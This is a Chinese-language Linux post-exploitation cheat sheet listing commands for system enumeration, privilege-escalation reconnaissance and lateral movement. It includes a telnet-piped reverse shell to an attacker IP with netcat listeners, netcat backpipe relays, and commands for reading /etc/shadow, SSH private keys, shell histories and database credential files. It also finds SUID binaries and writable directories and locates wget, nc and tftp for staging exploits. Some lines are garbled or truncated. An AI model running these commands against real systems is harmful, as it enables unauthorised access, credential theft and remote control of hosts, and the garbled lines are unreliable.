0x01 常用指令
1 檢視系統版本
cat /etc/issue
cat /etc
5 檢視本機任務計劃
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root
6 查找可能存有使用者名和密碼的文本
grep -i user [filename]
grep -i pass [filename]
grep -C 5 “password” [filename]
find . -name “*.php” -print0 | xargs -0 grep -i -n “var $password” # Joomla
0x03 通信與網絡
1 檢視 NIC 以及連接配接資訊
/sbin/ifconfig -a
cat /etc/network/interfaces
cat /etc/sysconfig/network
2 檢視網絡配置
cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
iptables -L
hostname
dnsdomainname
3 檢視本機的網絡連接配接資訊
lsof -i
lsof -i :80
grep 80 /etc/services
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig –list
chkconfig –list | grep 3:on
last
4 檢視 ARP 及路由表資訊
arp -e
route
/sbin/route -nee
5 嗅探資料包
# tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]
tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.2.2.222 21
6 獲得一個 Shell 與系統進行互動
nc -lvp 4444 # Attacker. 輸入（指令）
nc -lvp 4445 # Attacker. 輸出（結果）
telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445 # 在目标系統上. 使用攻擊者的 IP!
7 端口轉發（端口重定向）
# fpipe
# FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP]
FPipe.exe -l 80 -r 80 -s 80 192.168.1.7
#ssh
# ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip]
ssh -L 8080:127.0.0.1:80 [email protected] # Local Port
ssh -R 8080:127.0.0.1:80 [email protected] # Remote Port
#mknod
# mknod backpipe p ; nc -l -p [remote port] < backpipe | nc [local IP] [local port] >backpipe
mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.1.1.251 80 >backpipe # Port Relay
mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe # Proxy (Port 80 to 8080)
mknod
backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc
localhost 80 | tee -a outflow & 1>backpipe # Proxy monitor (Port 80 to 8080)
9 建立遠端 SSH 隧道
ssh -D 127.0.0.1:9050 -N [username]@[ip]
proxychains ifconfig
0x04 秘密資訊和使用者
1 檢視已登入（線上）賬戶以及權限設定
id
who
w
last
cat /etc/passwd | cut -d: # List of users
grep -v -E “^#” /etc/passwd | awk -F: '$3 == 0 { print $1}’ # List of super users
awk -F: ‘($3 == “0”) {print}' /etc/passwd # List of super users
cat /etc/sudoers
sudo -l
2 檢視敏感檔案
cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/
3 檢視相關目錄的隐藏檔案
ls -ahlR /root/
ls -ahlR /home/
4 查找密碼，腳本，資料庫，預設配置檔案或日志檔案
cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg
5 檢視操作曆史（SSH，nano 等）
cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history
6 查找使用者資訊
cat ~/.bashrc
cat ~/.profile
cat /var/mail/root
cat /var/spool/mail/root
7 查找主機上的私鑰
cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key
0x05 檔案系統
1 查找具備 /etc/ 目錄寫權限的使用者以及重新配置服務的使用者
ls -aRl /etc/ | awk ‘$1 ~ /^.*w.*/’ 2>/dev/null # Anyone
ls -aRl /etc/ | awk ’$1 ~ /^..w/’ 2>/dev/null # Owner
ls -aRl /etc/ | awk ‘$1 ~ /^…..w/’ 2>/dev/null # Group
ls -aRl /etc/ | awk ’;$1 ~ /w.$/’ 2>/dev/null # Other
find /etc/ -readable -type f 2>/dev/null # Anyone
find /etc/ -readable -type f -maxdepth 1 2>/dev/null # Anyone
2 查找 /var/ 目錄的隐藏可疑檔案
ls -alh /var/log
ls -alh /var/mail
ls -alh /var/spool
ls -alh /var/spool/lpd
ls -alh /var/lib/pgsql
ls -alh /var/lib/mysql
cat /var/lib/dhcp3/dhclient.leases
3 查找網站的隐藏配置檔案
ls -alhR /var/www/
ls -alhR /srv/www/htdocs/
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/
ls -alhR /var/www/html/
5 檢視相關系統日志
cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chttp.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages
cat /var/log/secure
cat /var/log/syslog
cat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log
ls -alh /var/lib/dhcp3/
ls -alh /var/log/postgresql/
ls -alh /var/log/proftpd/
ls -alh /var/log/samba/
auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info,
mail.log, mail.warn, messages, syslog, udev, wtmp(有什麼檔案？log.系統引導……)
6 一句話建立可互動式反彈 Shell
python -c ‘import pty;pty.spawn(“/bin/bash”)’
echo os.system(‘/bin/bash’)
/bin/sh -i
7 挂載檔案系統
mount
df -h
8 檢視系統挂載情況
cat /etc/fstab
9 進階 Linux 檔案權限使用（Sticky bits, SUID 和 GUID）
find / -perm -1000 -type d 2>/dev/null # Sticky bit – Only the owner of the directory or the owner of a file can delete or rename here
find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) – run as the group, not the user who started it.
find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) – run as the owner, not the user who started it.
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID
for i in `locate -r “bin$”`; do find $i ( -perm -4000 -o -perm -2000 ) -type f 2>/dev/null; done #Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin,/usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID(Quicker search)#
findstarting at root (/), SGIDorSUID, not Symbolic links, only 3
folders deep, list with more detail and hideany errors (e.g. permissiondenied)
find/-perm -g=s-o-perm -4000! -type l-maxdepth 3 -exec ls -ld {} ;2>/dev/null
10 哪些目錄具有寫入權限（幾個通用的目錄：/tmp，/var，/tmp，/dev，/shm）
find / -writable -type d 2>/dev/null # world-writeable folders
find / -perm -222 -type d 2>/dev/null # world-writeable folders
find / -perm -o+w -type d 2>/dev/null # world-writeable folders
find / -perm -o+x -type d 2>/dev/null # world-executable folders
find / ( -perm -o+w -perm -o+x ) -type d 2>/dev/null # world-writeable & executable foldersAny “problem” files？可寫的的，“沒有使用”的檔案
find / -xdev -type d ( -perm -0002 -a ! -perm -1000 ) -print # world-writeable files
find /dir -xdev ( -nouser -o -nogroup ) -print # Noowner files
0x06 準備和查找漏洞利用代碼
1 檢視語言/代碼支援情況
find / -name perl*
find / -name python*
find / -name gcc*
find / -name cc
2 查找可利用于傳輸檔案的指令
find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp*
find / -name ftp
find / -name scp
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